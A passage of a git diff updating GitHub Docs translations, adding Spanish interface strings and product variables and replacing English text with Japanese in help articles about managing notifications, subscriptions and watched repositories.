     ghes_release_notes_upgrade_patch_and_release: '📣 Este no es el <a href="#{{ latestPatch }}">lanzamiento de parche más reciente</a> de esta serie de lanzamientos, y no es el<a href="/enterprise-server@{{ latestRelease }}/admin/release-notes">último lanzamiento</a> de Enterprise Server.'
+picker:
+  toggle_picker_list: Activar lista de selector
 release_notes:
   banner_text: GitHub comenzó a implementar estos cambios en empresas en
 search:
@@ -20,7 +22,9 @@ search:
   placeholder: Busca temas, productos...
   loading: Cargando
   no_results: No se encontró ningún resultado
+  search_results_for: Buscar resultados para
   no_content: Sin contenido
+  matches_displayed: Coincidencias mostradas
 homepage:
   explore_by_product: Explorar por producto
   version_picker: Versión
@@ -29,6 +33,7 @@ toc:
   popular: Popular
   guides: Guías
   whats_new: Qué hay de nuevo
+  videos: Vídeos
 pages:
   article_version: 'Versión del artículo'
   miniToc: En este artículo
@@ -52,7 +57,8 @@ survey:
   optional: Opcional
   required: Requerido
   email_placeholder: email@ejemplo.com
-  email_label: '¿Podemos contactarte si tenemos más preguntas?'
+  email_label: Si quieres que te contactemos con más preguntas, por favor, ingresa tu dirección de correo electrónico
+  email_validation: Ingresa un dirección de correo electrónico válida
   send: Enviar
   feedback: '¡Gracias! Recibimos tus comentarios.'
   not_support: Si necesitas una respuesta, por favor, mejor contacta a soporte.
diff --git a/translations/es-ES/data/variables/product.yml b/translations/es-ES/data/variables/product.yml
index 8f5edae6a8..ef06b0bb47 100644
--- a/translations/es-ES/data/variables/product.yml
+++ b/translations/es-ES/data/variables/product.yml
@@ -17,6 +17,7 @@ prodname_ghe_server: 'GitHub Enterprise Server'
 prodname_ghe_cloud: 'Nube de GitHub Enterprise'
 prodname_ghe_managed: 'GitHub AE'
 prodname_ghe_one: 'GitHub One'
+prodname_docs: 'GitHub Docs'
 ## Use these variables when referring specifically to a location within a product
 product_location: >-
   {% ifversion ghes %}tu instancia de GitHub Enterprise Server{% elsif ghae %}tu empresa{% else %}GitHub.com{% endif %}
@@ -96,8 +97,6 @@ prodname_matching_fund: 'Fondo Compensatorio para Patrocinios de GitHub'
 #GitHub Advanced Security
 prodname_GH_advanced_security: 'GitHub Advanced Security'
 prodname_advanced_security: 'Advanced Security'
-#Security Center
-prodname_security_center: 'Centro de seguridad'
 #Codespaces
 prodname_codespaces: 'Codespaces'
 prodname_github_codespaces: 'Acerca de GitHub Codespaces'
@@ -151,7 +150,7 @@ prodname_arctic_vault: 'Bóveda de Código del Ártico'
 prodname_copilot: 'Copiloto de GitHub'
 prodname_copilot_short: 'Copilot'
 #Command Palette
-prodname_command_palette: 'GitHub Command Palette'
+prodname_command_palette: 'Paleta de Comandos de GitHub'
 #Links
 product_url: >-
   {% ifversion fpt or ghec %}github.com{% else %}[hostname]{% endif %}
@@ -182,7 +181,7 @@ api_url_code: >-
   {% ifversion fpt or ghec %}https://api.github.com{% elsif ghes %}http(s)://[hostname]/api/v3{% elsif ghae %}https://[hostname]/api/v3{% endif %}
 #Use this inside command-line code blocks
 graphql_url_pre: >-
-  {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://<em>[hostname]</em>/api/graphql{% elsif ghae %}https://api.<em>[hostname]</em>/graphql{% endif %}
+  {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://<em>[hostname]</em>/api/graphql{% elsif ghae %}https://<em>[hostname]</em>/api/graphql{% endif %}
 #Use this all other code blocks
 graphql_url_code: >-
-  {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://[hostname]/api/graphql{% elsif ghae %}https://api.[hostname]/graphql{% endif %}
+  {% ifversion fpt or ghec %}https://api.github.com/graphql{% elsif ghes %}http(s)://[hostname]/api/graphql{% elsif ghae %}https://[hostname]/api/graphql{% endif %}
diff --git a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
index 9e22e31814..c36e57007f 100644
--- a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
+++ b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/index.md
@@ -1,5 +1,5 @@
 ---
-title: Managing subscriptions and notifications on GitHub
+title: GitHub でサブスクリプションと通知を管理する
 intro: 'You can specify how to receive notifications, the repositories you are interested in, and the types of activity you want to hear about.'
 redirect_from:
   - /categories/76/articles
diff --git a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
index f989cb9be2..793ed3e898 100644
--- a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
+++ b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions.md
@@ -1,6 +1,6 @@
 ---
-title: Managing your subscriptions
-intro: 'To help you manage your notifications efficiently, there are several ways to unsubscribe.'
+title: サブスクリプションを管理する
+intro: 通知を効率的に管理するにあたって、サブスクライブ解除するにはいくつかの方法があります。
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,64 +13,61 @@ redirect_from:
   - /github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/managing-your-subscriptions
 shortTitle: Manage your subscriptions
 ---
-To help you understand your subscriptions and decide whether to unsubscribe, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)."
+
+サブスクリプションを理解し、サブスクライブ解除するかどうかを決めるため、「[サブスクリプションを表示する](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)」を参照してください。
 
 {% note %}
 
-**Note:** Instead of unsubscribing, you have the option to ignore a repository. If you ignore a repository, you won't receive any notifications. We don't recommend ignoring repositories as you won't be notified if you're @mentioned. {% ifversion fpt or ghec %}If you're experiencing abuse and want to ignore a repository, please contact {% data variables.contact.contact_support %} so we can help. {% data reusables.policies.abuse %}{% endif %}
+**注釈:** サブスクライブ解除する代わりに、リポジトリを無視するオプションがあります。 リポジトリを無視した場合、通知は届きません。 あなたが @メンションされても通知されなくなるため、リポジトリを無視することはおすすめしません。 {% ifversion fpt or ghec %}不正使用の発生により、リポジトリを無視する場合は、{% data variables.contact.contact_support %} 問い合わせてサポートを受けてください。 {% data reusables.policies.abuse %}{% endif %}
 
 {% endnote %}
 
-## Choosing how to unsubscribe
+## サブスクライブ解除の方法を選択する
 
-To unwatch (or unsubscribe from) repositories quickly, go to the "Watched repositories" page, where you can see all repositories you're watching. For more information, see "[Unwatch a repository](#unwatch-a-repository)."
+リポジトリの Watch をすばやく Watch 解除 (またはサブスクライブ解除) するには、[Watched repositories] ページに移動します。このページでは、Watch しているすべてのリポジトリを確認できます。 詳しい情報については、「[リポジトリを Watch 解除する](#unwatch-a-repository)」を参照してください。
 
-To unsubscribe from multiple notifications at the same time, you can unsubscribe using your inbox or on the subscriptions page. Both of these options offer more context about your subscriptions than the "Watched repositories" page.
+複数の通知のサブスクライブ解除を同時に行うには、インボックスまたはプランページを使用します。 これらのオプションはどちらも、[Watched repositories] ページよりもサブスクリプションに関するより多くのコンテキストを提供しています。
 
-### Benefits of unsubscribing from your inbox
+### インボックスからサブスクライブ解除する利点
 
-When you unsubscribe from notifications in your inbox, you have several other triaging options and can filter your notifications by custom filters and discussion types. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)."
+インボックスの通知をサブスクライブ解除する場合、他にも複数のトリアージオプションがあり、カスタムフィルタとディスカッションタイプで通知をフィルタ処理できます。 詳しい情報については「[インボックスからの通知の管理](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)」を参照してください。
 
-### Benefits of unsubscribing from the subscriptions page
+### サブスクリプションページからサブスクライブ解除する利点
 
-When you unsubscribe from notifications on the subscriptions page, you can see more of the notifications you're subscribed to and sort them by "Most recently subscribed" or "Least recently subscribed".
+プランページで通知のサブスクライブを解除すると、サブスクライブしている通知がさらに表示され、[Most recently subscribed] または [Least recently subscribed] で並べ替えることができます。
 
-The subscriptions page shows you all of the notifications that you're currently subscribed to, including notifications that you have marked as **Done** in your inbox.
+プランページには、インボックスで [**Done**] としてマークした通知を含む、現在サブスクライブしているすべての通知が表示されます。
 
-You can only filter your subscriptions by repository and the reason you're receiving the notification.
+サブスクリプションは、リポジトリと通知を受信する理由でのみフィルタできます。
 
-## Unsubscribing from notifications in your inbox
+## インボックスの通知からサブスクライブ解除する
 
-When you unsubscribe from notifications in your inbox, they will automatically disappear from your inbox.
+インボックスの通知をサブスクライブ解除すると、通知は自動的にインボックスから削除されます。
 
 {% data reusables.notifications.access_notifications %}
-1. From the notifications inbox, select the notifications you want to unsubscribe to.
-2. Click **Unsubscribe.**
-  ![Unsubscribe option from main inbox](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png)
+1. 通知インボックスから、サブスクライブ解除する通知を選択します。
+2. Click **Unsubscribe.** ![メインインボックスの [Unsubcribe] オプション](/assets/images/help/notifications-v2/unsubscribe-from-main-inbox.png)
 
-## Unsubscribing from notifications on the subscriptions page
+## サブスクリプションページで通知をサブスクライブ解除する
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Subscriptions**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+1. 左側のサイドバーの、リポジトリリストの下にある [Manage notifications] ドロップダウンを使用して、[**Subscriptions**] をクリックします。 ![[Manage notifications] ドロップダウンメニューオプション](/assets/images/help/notifications-v2/manage-notifications-options.png)
 
-2. Select the notifications you want to unsubscribe to. In the top right, click **Unsubscribe.**
-  ![Subscriptions page](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png)
+2. サブスクライブ解除する通知を選択します。 右上にある [**Unsubscribe**] をクリックします。 ![サブスクリプションページ](/assets/images/help/notifications-v2/unsubscribe-from-subscriptions-page.png)
 
-## Unwatch a repository
+## リポジトリの Watch 解除
 
-When you unwatch a repository, you unsubscribe from future updates from that repository unless you participate in a conversation or are @mentioned.
+リポジトリを Watch 解除すると、会話に参加したり@メンションされたりしない限り、そのリポジトリからの今後の更新をサブスクライブ解除します。
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down to click **Watched repositories**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
-2. On the watched repositories page, after you've evaluated the repositories you're watching, choose whether to:
+1. 左側のサイドバーの、リポジトリリストの下にある [Manage notifications] ドロップダウンを使用して、[**Watched repositories**] をクリックします。 ![[Manage notifications] ドロップダウンメニューオプション](/assets/images/help/notifications-v2/manage-notifications-options.png)
+2. Watch しているリポジトリのページで、Watchしているリポジトリを評価した後、次のいずれかを選択します。
   {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-    - Unwatch a repository
+    - リポジトリの Watch 解除
     - Ignore all notifications for a repository
     - Customize the types of event you receive notifications for ({% data reusables.notifications-v2.custom-notification-types %}, if enabled)
   {% else %}
-    - Unwatch a repository
+    - リポジトリの Watch 解除
     - Only watch releases for a repository
     - Ignore all notifications for a repository
   {% endif %}
diff --git a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
index 9d440d9c75..29fedda7fe 100644
--- a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
+++ b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github/viewing-your-subscriptions.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing your subscriptions
-intro: 'To understand where your notifications are coming from and your notifications volume, we recommend reviewing your subscriptions and watched repositories regularly.'
+title: サブスクリプションを表示する
+intro: 通知の送信元と通知のボリュームを把握するため、定期的にサブスクリプションを確認し、リポジトリを Watch することをお勧めします。
 redirect_from:
   - /articles/subscribing-to-conversations
   - /articles/unsubscribing-from-conversations
@@ -25,63 +25,62 @@ topics:
   - Notifications
 shortTitle: View subscriptions
 ---
-You receive notifications for your subscriptions of ongoing activity on {% data variables.product.product_name %}. There are many reasons you can be subscribed to a conversation. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)."
 
-We recommend auditing and unsubscribing from your subscriptions as a part of a healthy notifications workflow. For more information about your options for unsubscribing, see "[Managing subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+{% data variables.product.product_name %} で進行中のアクティビティのサブスクリプションの通知を受け取ります。 会話をサブスクライブする理由はたくさんあります。 詳しい情報については、「[通知について](/github/managing-subscriptions-and-notifications-on-github/about-notifications#notifications-and-subscriptions)」を参照してください。
 
-## Diagnosing why you receive too many notifications
+健全な通知ワークフローの一環として、サブスクリプションの監査とサブスクライブ解除をお勧めします。 サブスクライブ解除に関する詳しい情報については、「[サブスクリプションを管理する](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)」を参照してください。
 
-When your inbox has too many notifications to manage, consider whether you have oversubscribed or how you can change your notification settings to reduce the subscriptions you have and the types of notifications you're receiving. For example, you may consider disabling the settings to automatically watch all repositories and all team discussions whenever you've joined a team or repository.
+## 通知過多の理由を診断する
 
-![Automatic watching](/assets/images/help/notifications-v2/automatic-watching-example.png)
+インボックスの通知が多すぎて管理できない場合は、サブスクリプションが多すぎないか確認したり、通知設定を変更して、サブスクリプションと受信する通知の種類を減らしたりすることを検討してください。 たとえば、設定を無効にして、チームまたはリポジトリに参加するたびにすべてのリポジトリとすべての Team ディスカッションを自動的に監視することを検討できます。
 
-For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)."
+![自動 Watch](/assets/images/help/notifications-v2/automatic-watching-example.png)
 
-To see an overview of your repository subscriptions, see "[Reviewing repositories that you're watching](#reviewing-repositories-that-youre-watching)." 
+詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#automatic-watching)」を参照してください。
+
+リポジトリのサブスクリプションの概要を確認するには、「[Watch しているリポジトリを確認する](#reviewing-repositories-that-youre-watching)」を参照してください。
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 {% tip %}
 
-**Tip:** You can select the types of event to be notified of by using the **Custom** option of the **Watch/Unwatch** dropdown list in your [watching page](https://github.com/watching) or on any repository page on {% data variables.product.product_name %}. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)."
+**参考:** [Watch ページ](https://github.com/watching)または {% data variables.product.product_name %} の任意のリポジトリページにある [**Watch/Unwatch**] ドロップダウンリストの [**Custom**] オプションを使用して、通知するイベントの種類を選択できます。 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)」を参照してください。
 
 {% endtip %}
 {% endif %}
 
-Many people forget about repositories that they've chosen to watch in the past. From the "Watched repositories" page you can quickly unwatch repositories. For more information on ways to unsubscribe, see "[Unwatch recommendations](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)" on {% data variables.product.prodname_blog %} and "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)." You can also create a triage workflow to help with the notifications you receive. For guidance on triage workflows, see "[Customizing a workflow for triaging your notifications](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)."
+過去に Watch することを選択したリポジトリが忘れらていることが多くあります。 「Watched repositories」ページから、リポジトリから素早く Watch 解除することができます。 サブスクライブ解除する方法について詳しくは、{% data variables.product.prodname_blog %} の「[Watch 解除の推奨](https://github.blog/changelog/2020-11-10-unwatch-recommendations/)」および「[サブスクリプションを管理する](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)」を参照してください。 トリアージワークフローを作成して、受信する通知を支援することもできます。 トリアージワークフローのガイダンスについては、「[通知をトリアージするためのにワークフローをカスタマイズする](/github/managing-subscriptions-and-notifications-on-github/customizing-a-workflow-for-triaging-your-notifications)」を参照してください。
 
-## Reviewing all of your subscriptions
+## サブスクリプションのリストを確認する
 
 {% data reusables.notifications.access_notifications %}
-1. In the left sidebar, under the list of repositories that you have notifications from, use the "Manage notifications" drop-down to click **Subscriptions**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
+1. 左側のサイドバーの、通知元のリポジトリリストの下にある [Manage notifications] ドロップダウンを使用して、[**Subscriptions**] をクリックします。 ![[Manage notifications] ドロップダウンメニューオプション](/assets/images/help/notifications-v2/manage-notifications-options.png)
 
-2. Use the filters and sort to narrow the list of subscriptions and begin unsubscribing to conversations you no longer want to receive notifications for.
+2. フィルタとソートを使用して、サブスクリプションのリストを絞り込み、通知の受信を希望しない会話のサブスクリプションを解除します。
 
-  ![Subscriptions page](/assets/images/help/notifications-v2/all-subscriptions.png)
+  ![サブスクリプションページ](/assets/images/help/notifications-v2/all-subscriptions.png)
 
 {% tip %}
 
-**Tips:**
-- To review subscriptions you may have forgotten about, sort by "least recently subscribed."
+**参考:**
+- 忘れている可能性のあるサブスクリプションを確認するには、[least recently subscribed] でソートします。
 
-- To review a list of repositories that you can still receive notifications for, see the repository list in the "filter by repository" drop-down menu.
+- 引き続き通知が受信可能なリポジトリのリストを確認するには、[filter by repository] ドロップダウンメニューのリポジトリリストを参照します。
 
 {% endtip %}
 
-## Reviewing repositories that you're watching
+## Watch しているリポジトリを確認する
 
-1. In the left sidebar, under the list of repositories, use the "Manage notifications" drop-down menu and click **Watched repositories**.
-  ![Manage notifications drop down menu options](/assets/images/help/notifications-v2/manage-notifications-options.png)
-2. Evaluate the repositories that you are watching and decide if their updates are still relevant and helpful. When you watch a repository, you will be notified of all conversations for that repository.
+1. 左側のサイドバーの、リポジトリリストの下にある [Manage notifications] ドロップダウンメニューを使用して、[**Watched repositories**] をクリックします。 ![[Manage notifications] ドロップダウンメニューオプション](/assets/images/help/notifications-v2/manage-notifications-options.png)
+2. Watch しているリポジトリを評価し、それらの更新がまだ関連していて有用であるかどうかを判断します。 リポジトリを Watch すると、そのリポジトリのすべての会話が通知されます。
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-  ![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications-custom.png)
+  ![Watch対象の通知ページ](/assets/images/help/notifications-v2/watched-notifications-custom.png)
 {% else %}
-  ![Watched notifications page](/assets/images/help/notifications-v2/watched-notifications.png)
+  ![Watch対象の通知ページ](/assets/images/help/notifications-v2/watched-notifications.png)
 {% endif %}
 
   {% tip %}
 
   **Tip:** Instead of watching a repository, consider only receiving notifications {% ifversion fpt or ghes > 3.0 or ghae or ghec %}when there are updates to {% data reusables.notifications-v2.custom-notification-types %} (if enabled for the repository), or any combination of these options,{% else %}for releases in a repository,{% endif %} or completely unwatching a repository.
-  
-  When you unwatch a repository, you can still be notified when you're @mentioned or participating in a thread. When you configure to receive notifications for certain event types, you're only notified when there are updates to these event types in the repository, you're participating in a thread, or you or a team you're on is @mentioned.
+
+  リポジトリを Watch 解除しても、@メンションされたときやスレッドに参加しているときには通知を受信することができます。 特定のイベントタイプの通知を受信するように設定すると、リポジトリにこれらのイベントタイプが更新された場合、スレッドに参加している場合、または参加している自分または Team が @メンションされた場合にのみ通知されます。
 
   {% endtip %}
diff --git a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
index 24263811ac..29392671bc 100644
--- a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
+++ b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications.md
@@ -1,6 +1,6 @@
 ---
-title: About notifications
-intro: 'Notifications provide updates about the activity on {% data variables.product.product_location %} that you''ve subscribed to. You can use the notifications inbox to customize, triage, and manage your updates.'
+title: 通知について
+intro: '通知では、サブスクライブしている {% data variables.product.product_location %} のアクティビティに関する最新情報をお知らせします。 通知インボックスを使用して、更新をカスタマイズ、トリアージ、および管理できます。'
 redirect_from:
   - /articles/notifications
   - /articles/about-notifications
@@ -15,89 +15,90 @@ versions:
 topics:
   - Notifications
 ---
+
 {% ifversion ghes %}
 {% data reusables.mobile.ghes-release-phase %}
 {% endif %}
 
-## Notifications and subscriptions
+## 通知とサブスクリプション
 
-You can choose to receive ongoing updates about specific activity on {% data variables.product.product_location %} through a subscription. Notifications are updates that you receive for specific activity that you are subscribed to.
+サブスクリプションを通じて、{% data variables.product.product_location %} の特定のアクティビティに関する継続的な更新を受信するかを選択できます。 通知では、サブスクライブしている特定のアクティビティについての更新を受信します。
 
-### Subscription options
+### サブスクリプションのオプション
 
-You can choose to subscribe to notifications for:
-- A conversation in a specific issue, pull request, or gist.
-- All activity in a repository or team discussion.
-- CI activity, such as the status of workflows in repositories set up with {% data variables.product.prodname_actions %}. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+サブスクライブできる通知は次のとおりです。
+- 特定の Issue、プルリクエスト、または Gist の会話。
+- リポジトリまたは Team ディスカッション内のすべてのアクティビティ。
+- {% data variables.product.prodname_actions %} で設定されたリポジトリ内のワークフローのステータスなどの CI アクティビティ。 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 - Repository {% data reusables.notifications-v2.custom-notification-types %} (if enabled).{% else %}
 - Releases in a repository.{% endif %}
 
-You can also choose to automatically watch all repositories that you have push access to, except forks. You can watch any other repository you have access to manually by clicking **Watch**.
+フォークを除き、あなたがプッシュアクセスを持つすべてのリポジトリを自動的にWatchすることもできます。 [**Watch**] をクリックすると、手動でアクセスできる他のリポジトリを Watch できます。
 
-If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For example, if you no longer want to receive notifications from a particular repository, you can click **Unsubscribe**. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+会話に関心がなくなった場合は、今後受信する通知の種類を、サブスクライブ解除、Watch 解除、またはカスタマイズできます。 たとえば、特定のリポジトリからの通知を受信しない場合は、[**Unsubscribe**] をクリックします。 詳しい情報については、「[サブスクリプションを管理する](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)」を参照してください。
 
-### Default subscriptions
+### デフォルトのサブスクリプション
 
-In general, you are automatically subscribed to conversations by default when you have:
-- Not disabled automatic watching for repositories or teams you've joined in your notification settings. This setting is enabled by default.
-- Been assigned to an issue or pull request.
-- Opened a pull request, issue, or created a team discussion post.
-- Commented on a thread.
-- Subscribed to a thread manually by clicking **Watch** or **Subscribe**.
-- Had your username @mentioned.
-- Changed the state of a thread, such as by closing an issue or merging a pull request.
-- Had a team you're a member of @mentioned.
+一般に、次の場合、デフォルトで会話に自動的にサブスクライブされます。
+- 通知設定で、参加しているリポジトリまたは Team の自動 Watch を無効にしていない場合。 このオプションはデフォルトで有効になっています。
+- Issue あるいはプルリクエストが割り当てられている場合。
+- プルリクエストや Issue をオープンしたり、Team ディスカッションの投稿を作成したりした場合。
+- スレッドにコメントした場合。
+- [**Watch**] または [**Subscribe**] をクリックして、手動でスレッドをサブスクライブした場合。
+- ユーザ名が@メンションされていた場合。
+- Issue のクローズやプルリクエストのマージなどにより、スレッドの状態を変更した場合。
+- メンバーになっている Team が@メンションされていた場合。
 
-By default, you also automatically watch all repositories that you create and are owned by your user account.
+デフォルトで、作成したすべてのリポジトリと、ユーザアカウントが所有するすべてのリポジトリは、自動的に Watch されます。
 
-To unsubscribe from conversations you're automatically subscribed to, you can change your notification settings or directly unsubscribe or unwatch activity on {% data variables.product.product_location %}. For more information, see "[Managing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)."
+自動的にサブスクライブしている会話をサブスクライブ解除するには、通知設定を変更するか、{% data variables.product.product_location %} のアクティビティを直接サブスクライブ解除または Watch 解除します。 詳しい情報については、「[サブスクリプションを管理する](/github/managing-subscriptions-and-notifications-on-github/managing-your-subscriptions)」を参照してください。
 
-## Customizing notifications and subscriptions
+## 通知とサブスクリプションをカスタマイズする
 
-You can choose to view your notifications through the notifications inbox at [https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} and in the {% data variables.product.prodname_mobile %} app{% endif %}, through your email, or some combination of these options.
+[https://github.com/notifications](https://github.com/notifications){% ifversion fpt or ghes or ghec %} と {% data variables.product.prodname_mobile %} アプリ{% endif %}にある通知インボックス、メール、またはこれらのオプションの組み合わせから通知を表示できます。
 
-To customize the types of updates you'd like to receive and where to send those updates, configure your notification settings. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)."
+通知設定で、受信する更新の種類と更新の送信先をカスタマイズできます。 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)」を参照してください。
 
-To keep your subscriptions manageable, review your subscriptions and watched repositories and unsubscribe as needed. For more information, see "[Managing subscriptions for activity on GitHub](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)."
+サブスクリプションを管理しやすい状態に保つには、サブスクリプションと Watch したリポジトリを確認し、必要に応じてサブスクライブ解除します。 詳しい情報については、「[GitHub におけるアクティビティのサブスクリプションを管理する](/github/managing-subscriptions-and-notifications-on-github/managing-subscriptions-for-activity-on-github)」を参照してください。
 
-To customize how you'd like to receive updates for specific pull requests or issues, you can configure your preferences within the issue or pull request. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)."
+特定のプルリクエストやプルリクエストの更新の受信方法をカスタマイズするには、Issue またはプルリクエスト内で設定できます。 詳しい情報については、「[単一の通知をトリアージする](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification#customizing-when-to-receive-future-updates-for-an-issue-or-pull-request)」を参照してください。
 
 {% ifversion fpt or ghes or ghec %}
-You can customize and schedule push notifications in the {% data variables.product.prodname_mobile %} app. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)."
+You can customize and schedule push notifications in the {% data variables.product.prodname_mobile %} app. 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#managing-your-notification-settings-with-github-mobile)」を参照してください。
 {% endif %}
 
-## Reasons for receiving notifications
+## 通知の受信理由
 
-Your inbox is configured with default filters, which represent the most common reasons that people need to follow-up on their notifications. For more information about inbox filters, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)."
+インボックスにはデフォルトのフィルタが設定されています。これは、通知をフォローアップする必要がある最も一般的な理由です。 インボックスフィルタに関する詳しい情報については「[インボックスからの通知を管理する](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#default-notification-filters)」を参照してください。
 
-Your inbox shows the `reasons` you're receiving notifications as a label.
+インボックスには、通知の受信 `reasons`（理由）がラベルとして表示されます。
 
-![Reasons labels in inbox](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png)
+![インボックスの理由ラベル](/assets/images/help/notifications-v2/reasons-as-labels-in-inbox.png)
 
-You can filter your inbox by the reason you're subscribed to notifications. For example, to only see pull requests where someone requested your review, you can use the `review-requested` query filter.
+通知をサブスクライブしている理由でインボックスをフィルタできます。 たとえば、レビューがリクエストされたプルリクエストのみを表示するには、`review-requested` クエリフィルタを使用できます。
 
-![Filter notifications by review requested reason](/assets/images/help/notifications-v2/review-requested-reason.png)
+![レビューをリクエストした理由で通知をフィルタ](/assets/images/help/notifications-v2/review-requested-reason.png)
 
-If you've configured notifications to be sent by email and believe you're receiving notifications that don't belong to you, consider troubleshooting with email headers, which show the intended recipient. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)."
+通知をメール送信するように設定していて、自分宛ではない通知を受信していると思われる場合は、正しい受信者を示すメールヘッダを使用したトラブルシューティングを検討してください。 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)」を参照してください。
 
-## Triaging notifications from your inbox
+## インボックスからの通知をトリアージする
 
-To effectively manage your notifications, you can triage your inbox with options to:
-- Remove a notification from the inbox with **Done**. You can review **Done** notifications all in one place by clicking **Done** in the sidebar or by using the query `is:done`.
-- Mark a notification as read or unread.
-- **Save** a notification for later review. **Saved** notifications are flagged in your inbox. You can review **Saved** notifications all in one place in the sidebar by clicking **Saved** or by using the query `is:saved`.
-- Automatically unsubscribe from this notification and future updates from this conversation. Unsubscribing also removes the notification from your inbox. If you unsubscribe from a conversation and someone mentions your username or a team you're on that you're receiving updates for, then you will start to receive notifications from this conversation again.
+通知を効率よく管理するために、次のオプションを使用してインボックスをトリアージできます。
+- [**Done**] でインボックスから通知を削除します。 サイドバーの [**Done**] をクリックするか、クエリ `is:done` を使用すると、 **完了済**の通知をすべて1か所で確認できます。
+- 通知を既読または未読としてマークします。
